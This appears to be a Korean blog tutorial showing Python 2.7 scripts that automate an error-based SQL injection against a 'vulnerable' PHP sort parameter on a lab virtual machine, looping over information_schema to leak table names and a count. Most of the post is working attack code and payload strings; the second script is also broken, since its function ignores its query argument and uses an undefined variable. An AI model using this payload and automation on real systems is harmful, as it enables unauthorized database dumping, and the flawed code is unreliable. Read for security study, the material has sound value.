[Python] 스키마 정보를 추출하기
스키마 정보 추출 자동화
파이썬 라이브러리를 이용하여 테이블과 칼럼 정보를 추출하는 스크립트를 구현합니다 .
지난 포스팅의 코드를 수정하여 진행합니다.
테이블 목록 획득하기
테이블 목록은 HTTP.REQUEST에서 구현한 소스코드의 수정으로 획득할 수 있습니다 .
(지난 포스팅에서는 파이썬 3을 사용하였고 현재는 파이썬 2.7을 사용하였습니다.)
DB테이블의 구조가 54개이기 때문에 54번 반복하도록 반복문을 이용해 코드를 수정합니다 .
스키마 추출 코드
#-*- coding: utf-8 -*-
import httplib
import urllib
headers = { "User-Agent" : "Mozilla/5.0 (Window NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",
"Content-type": "application/x-www-form-urlencoded","Accept": "text/html", "Connection": "keep-alive"}
cnt = 54
delims = "!~!~!"
for i in range(0,cnt):
domain = "3.239.29.151" # 가상머신 주소
url = "/mysql_sort.php" # 취약한 URL
tname = "(select+table_name+from+information_schema.tables+where+table_type='base+table'+limit+1+offset+"+ str(i) + ")"
params = "sort=(select+1+from(select+count(*),concat('" +delims+ "'," +tname+ ",'" +delims+ "',floor(rand(0)*2))a+from+information_schema.tables+group+by+a)T)%23"
conn = httplib.HTTPConnection(domain,"80")
#conn = httplib.HTTPSCOnection(domain, "443")
conn.request("GET",url + "?" + params,None,headers)
#conn.request("POST",url,params,headers)
response = conn.getresponse().read()
print response.split(delims)[1]
코드의 for문은 MySQL 공격 쿼리의 OFFSET 값을 하나씩 증가 시킵니다 .
실행 결과
테이블 목록이 출력되었습니다 .
레코드 카운트도 자동 획득하는 방식으로 수정하겠습니다 .
수정 스크립트 코드
for문의 코드를 상단에 복사 하고 for 문밖이므로 들여쓰기 제거하고 SQL 쿼리를 다음과 같이 수정합니다 .
#-*- coding: utf-8 -*-
import httplib
import urllib
def httpreq(query):
headers = { "User-Agent" : "Mozilla/5.0 (Window NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",
"Content-type": "application/x-www-form-urlencoded","Accept": "text/html", "Connection": "keep-alive"}
delims = "!~!~!"
domain = "3.239.29.151" # 가상머신 주소
url = "/mysql_sort.php" # 취약한 URL
params = "sort=(select+1+from(select+count(*),concat('" +delims+ "'," +tname+ ",'" +delims+ "',floor(rand(0)*2))a+from+information_schema.tables+group+by+a)T)%23"
conn = httplib.HTTPConnection(domain,"80")
#conn = httplib.HTTPSCOnection(domain, "443")
conn.request("GET",url + "?" + params,None,headers)
#conn.request("POST",url,params,headers)
response = conn.getresponse().read()
return response.split(delims)[1]
rcount = "(select+count(*)+from+information_schema.tables+where+table_type='base+table')"
cnt = int(httpreq(rcount))
레코드 개수 까지 자옫으로 획득하는 기능을 구현했습니다 .
수정한 코드를 보면 HTTP 요청이 반복되고 있습니다.
코드의 가독성과 효율을 높이기 위해서 HTTP 요청문을 함수로 구현합니다.
댓글
댓글 쓰기